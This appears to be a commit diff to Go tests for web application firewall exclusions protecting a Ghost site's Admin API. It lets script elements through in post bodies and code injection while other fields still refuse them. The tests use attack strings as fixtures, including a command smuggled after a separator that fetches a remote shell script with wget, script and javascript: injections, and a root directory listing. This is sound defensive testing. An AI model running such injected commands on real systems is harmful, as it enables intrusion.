Core Rule Set: Ghost posts and code injection take a script element (closes #358)
check / check (push) Waiting to run
check / check (push) Waiting to run
While bodies are read, 941110 refused a `<script>` element in an HTML card that embeds a widget, and in code injection that loads analytics. The new exclusion 900366 switches 941110 off on the Admin API for `lexical`, `mobiledoc` and `html` of posts and pages, their `codeinjection_head` and `codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer and every other field and path still refuse it; `javascript:` links stay refused everywhere. Model: opus-5-5
This commit is contained in:
1 parent
0cb6dded98
commit
47f6132026
3 files changed
+142
-18
No files matched your search
@@ -143,10 +143,11 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
// <script> element by 900366.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostArticleFields = []ghostField{
|
||||
var ghostPostFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
||||
{
|
||||
@@ -155,6 +156,13 @@ var ghostArticleFields = []ghostField{
|
||||
`{"posts":[{"html":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
|
||||
// footer, skip the rules of 900355, and still refuse a <script> element.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ghost/api/admin/snippets/",
|
||||
@@ -167,8 +175,16 @@ var ghostArticleFields = []ghostField{
|
||||
},
|
||||
}
|
||||
|
||||
// ghostCodeFields hold code injection or a setting and skip the rules of
|
||||
// 900356.
|
||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostArticleFields = slices.Concat(
|
||||
ghostPostFields,
|
||||
ghostSnippetAndNewsletterFooterFields,
|
||||
)
|
||||
|
||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
|
||||
// and take a <script> element by 900366.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostCodeFields = []ghostField{
|
||||
@@ -335,11 +351,41 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
||||
}
|
||||
|
||||
// ghostAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, not escaped.
|
||||
// ghostWidget is an HTML card that embeds a widget with its script.
|
||||
const ghostWidget = `<div id="signup"></div>` +
|
||||
`<script src="https://widgets.example.com/form.js" async></script>`
|
||||
|
||||
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
|
||||
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
|
||||
`"html":"<div id=\"signup\"></div><script ` +
|
||||
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
|
||||
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
|
||||
|
||||
// ghostAnalytics is code injection that loads analytics.
|
||||
const ghostAnalytics = `<script defer ` +
|
||||
`src="https://analytics.example.com/script.js"></script>`
|
||||
|
||||
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// An HTML card in a post, as the editor saves it, and as integrations
|
||||
// send it.
|
||||
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
|
||||
|
||||
for _, f := range ghostPostFields {
|
||||
wantGhostField(t, f, ghostWidget, false)
|
||||
}
|
||||
|
||||
// Site code injection, saved in settings, and a post's or a page's own.
|
||||
for _, f := range ghostCodeFields {
|
||||
wantGhostField(t, f, ghostAnalytics, false)
|
||||
}
|
||||
}
|
||||
|
||||
// ghostAttacks are an SQL injection and a path traversal, not escaped.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
||||
var ghostAttacks = []string{injection, pathTraversal}
|
||||
|
||||
// commandAfterASeparator is a shell command after a ";", not escaped.
|
||||
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
||||
@@ -358,6 +404,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostSnippetAndNewsletterFooterFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
|
||||
for _, target := range ghostQueryFields {
|
||||
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever its rules do not
|
||||
// misfire: in the query fields, the plain text and the addresses.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
||||
@@ -372,13 +429,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
// The articles and code injection carry HTML on purpose, but a script
|
||||
// element and a javascript: link are still refused there.
|
||||
// The articles and code injection carry HTML on purpose, but a
|
||||
// javascript: link is still refused there, and a script element in
|
||||
// snippets and a newsletter's footer.
|
||||
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
||||
}
|
||||
|
||||
for _, f := range ghostSnippetAndNewsletterFooterFields {
|
||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses a listing of files.
|
||||
for _, f := range ghostAddressFields {
|
||||
wantGhostField(t, f, "ls -la /root", true)
|
||||
@@ -459,6 +520,44 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// A <script> element keeps 941110 off the Admin API, in fields that do
|
||||
// not take one, and when the query has a field of the same name. 941100
|
||||
// and 941160 refuse each request too, so the test looks for 941110
|
||||
// itself.
|
||||
const (
|
||||
script = `<script defer src=\"/script.js\"></script>`
|
||||
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
||||
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
{"/ghost/api/content/posts/", scriptInPost},
|
||||
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
|
||||
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
|
||||
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
||||
{"/api/settings/", scriptInSettings},
|
||||
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
||||
} {
|
||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, refused.body)
|
||||
if got.Score < ghostThreshold ||
|
||||
!slices.Contains(got.RuleIDs, 941110) {
|
||||
t.Errorf(
|
||||
"PUT %s %s: %+v, want 941110 among them",
|
||||
refused.target,
|
||||
refused.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
Reference in new issue
Block a user